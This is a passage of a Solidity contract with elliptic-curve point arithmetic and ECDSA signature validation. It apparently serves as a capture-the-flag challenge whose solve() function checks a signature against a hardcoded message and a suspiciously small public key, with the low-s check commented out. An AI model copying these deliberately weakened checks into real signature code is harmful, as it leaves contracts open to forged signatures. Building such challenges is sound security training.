p); 152 | t = addmod(t, z0, p); 153 | 154 | w = mulmod(t, t, p); 155 | x0 = mulmod(2, v, p); 156 | w = addmod(w, p - x0, p); 157 | 158 | x0 = addmod(v, p - w, p); 159 | x0 = mulmod(t, x0, p); 160 | y0 = mulmod(y0, u, p); 161 | y0 = mulmod(y0, y0, p); 162 | y0 = mulmod(2, y0, p); 163 | y1 = addmod(x0, p - y0, p); 164 | 165 | x1 = mulmod(u, w, p); 166 | 167 | z1 = mulmod(u, u, p); 168 | z1 = mulmod(z1, u, p); 169 | } 170 | 171 | /** 172 | * @dev Add two elliptic curve points in projective coordinates. See 173 | * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates 174 | */ 175 | function addProj(uint256 x0, uint256 y0, uint256 z0, uint256 x1, uint256 y1, uint256 z1) 176 | public 177 | pure 178 | returns (uint256 x2, uint256 y2, uint256 z2) 179 | { 180 | uint256 t0; 181 | uint256 t1; 182 | uint256 u0; 183 | uint256 u1; 184 | 185 | if (isZeroCurve(x0, y0)) { 186 | return (x1, y1, z1); 187 | } else if (isZeroCurve(x1, y1)) { 188 | return (x0, y0, z0); 189 | } 190 | 191 | t0 = mulmod(y0, z1, p); 192 | t1 = mulmod(y1, z0, p); 193 | 194 | u0 = mulmod(x0, z1, p); 195 | u1 = mulmod(x1, z0, p); 196 | 197 | if (u0 == u1) { 198 | if (t0 == t1) { 199 | return twiceProj(x0, y0, z0); 200 | } else { 201 | return zeroProj(); 202 | } 203 | } 204 | 205 | (x2, y2, z2) = addProj2(mulmod(z0, z1, p), u0, u1, t1, t0); 206 | } 207 | 208 | /** 209 | * @dev Helper function that splits addProj to avoid too many local variables. 210 | */ 211 | function addProj2(uint256 v, uint256 u0, uint256 u1, uint256 t1, uint256 t0) 212 | private 213 | pure 214 | returns (uint256 x2, uint256 y2, uint256 z2) 215 | { 216 | uint256 u; 217 | uint256 u2; 218 | uint256 u3; 219 | uint256 w; 220 | uint256 t; 221 | 222 | t = addmod(t0, p - t1, p); 223 | u = addmod(u0, p - u1, p); 224 | u2 = mulmod(u, u, p); 225 | 226 | w = mulmod(t, t, p); 227 | w = mulmod(w, v, p); 228 | u1 = addmod(u1, u0, p); 229 | u1 = mulmod(u1, u2, p); 230 | w = addmod(w, p - u1, p); 231 | 232 | x2 = mulmod(u, w, p); 233 | 234 | u3 = mulmod(u2, u, p); 235 | u0 = mulmod(u0, u2, p); 236 | u0 = addmod(u0, p - w, p); 237 | t = mulmod(t, u0, p); 238 | t0 = mulmod(t0, u3, p); 239 | 240 | y2 = addmod(t, p - t0, p); 241 | 242 | z2 = mulmod(u3, v, p); 243 | } 244 | 245 | /** 246 | * @dev Add two elliptic curve points in affine coordinates. 247 | */ 248 | function add(uint256 x0, uint256 y0, uint256 x1, uint256 y1) public pure returns (uint256, uint256) { 249 | uint256 z0; 250 | 251 | (x0, y0, z0) = addProj(x0, y0, 1, x1, y1, 1); 252 | 253 | return toAffinePoint(x0, y0, z0); 254 | } 255 | 256 | /** 257 | * @dev Double an elliptic curve point in affine coordinates. 258 | */ 259 | function twice(uint256 x0, uint256 y0) public pure returns (uint256, uint256) { 260 | uint256 z0; 261 | 262 | (x0, y0, z0) = twiceProj(x0, y0, 1); 263 | 264 | return toAffinePoint(x0, y0, z0); 265 | } 266 | 267 | /** 268 | * @dev Multiply an elliptic curve point by a 2 power base (i.e., (2^exp)*P)). 269 | */ 270 | function multiplyPowerBase2(uint256 x0, uint256 y0, uint256 exp) public pure returns (uint256, uint256) { 271 | uint256 base2X = x0; 272 | uint256 base2Y = y0; 273 | uint256 base2Z = 1; 274 | 275 | for (uint256 i = 0; i < exp; i++) { 276 | (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); 277 | } 278 | 279 | return toAffinePoint(base2X, base2Y, base2Z); 280 | } 281 | 282 | /** 283 | * @dev Multiply an elliptic curve point by a scalar. 284 | */ 285 | function multiplyScalar(uint256 x0, uint256 y0, uint256 scalar) public pure returns (uint256 x1, uint256 y1) { 286 | if (scalar == 0) { 287 | return zeroAffine(); 288 | } else if (scalar == 1) { 289 | return (x0, y0); 290 | } else if (scalar == 2) { 291 | return twice(x0, y0); 292 | } 293 | 294 | uint256 base2X = x0; 295 | uint256 base2Y = y0; 296 | uint256 base2Z = 1; 297 | uint256 z1 = 1; 298 | x1 = x0; 299 | y1 = y0; 300 | 301 | if (scalar % 2 == 0) { 302 | x1 = y1 = 0; 303 | } 304 | 305 | scalar = scalar >> 1; 306 | 307 | while (scalar > 0) { 308 | (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); 309 | 310 | if (scalar % 2 == 1) { 311 | (x1, y1, z1) = addProj(base2X, base2Y, base2Z, x1, y1, z1); 312 | } 313 | 314 | scalar = scalar >> 1; 315 | } 316 | 317 | return toAffinePoint(x1, y1, z1); 318 | } 319 | 320 | /** 321 | * @dev Multiply the curve's generator point by a scalar. 322 | */ 323 | function multipleGeneratorByScalar(uint256 scalar) public pure returns (uint256, uint256) { 324 | return multiplyScalar(gx, gy, scalar); 325 | } 326 | 327 | /** 328 | * @dev Validate combination of message, signature, and public key. 329 | */ 330 | function validateSignature(bytes32 message, uint256[2] memory rs, uint256[2] memory Q) public pure returns (bool) { 331 | // To disambiguate between public key solutions, include comment below. 332 | if (rs[0] == 0 || rs[0] >= n || rs[1] == 0) { 333 | // || rs[1] > lowSmax) 334 | return false; 335 | } 336 | if (!isOnCurve(Q[0], Q[1])) { 337 | return false; 338 | } 339 | 340 | uint256 x1; 341 | uint256 x2; 342 | uint256 y1; 343 | uint256 y2; 344 | 345 | uint256 sInv = inverseMod(rs[1], n); 346 | (x1, y1) = multiplyScalar(gx, gy, mulmod(uint256(message), sInv, n)); 347 | (x2, y2) = multiplyScalar(Q[0], Q[1], mulmod(rs[0], sInv, n)); 348 | uint256[3] memory P = addAndReturnProjectivePoint(x1, y1, x2, y2); 349 | 350 | if (P[2] == 0) { 351 | return false; 352 | } 353 | 354 | uint256 Px = inverseMod(P[2], p); 355 | Px = mulmod(P[0], mulmod(Px, Px, p), p); 356 | 357 | return Px % n == rs[0]; 358 | } 359 | 360 | function solve(uint256[2] calldata rs) public { 361 | bytes32 message = 0x7a4962955bc13965098ae0451b0029cb58e1de58a5ce8afa42aa7413a5609470; 362 | uint256[2] memory Q = [ 363 | uint256(0x000000000000000000000000000000000000000000000000000004171b3cc7bd), 364 | uint256(0x000000000000000000000000000000000000000000000000000002f94a363111) 365 | ]; 366 | require(validateSignature(message, rs, Q), "invalid rs"); 367 | solved = true; 368 | } 369 | } 370 | --------------------------------------------------------------------------------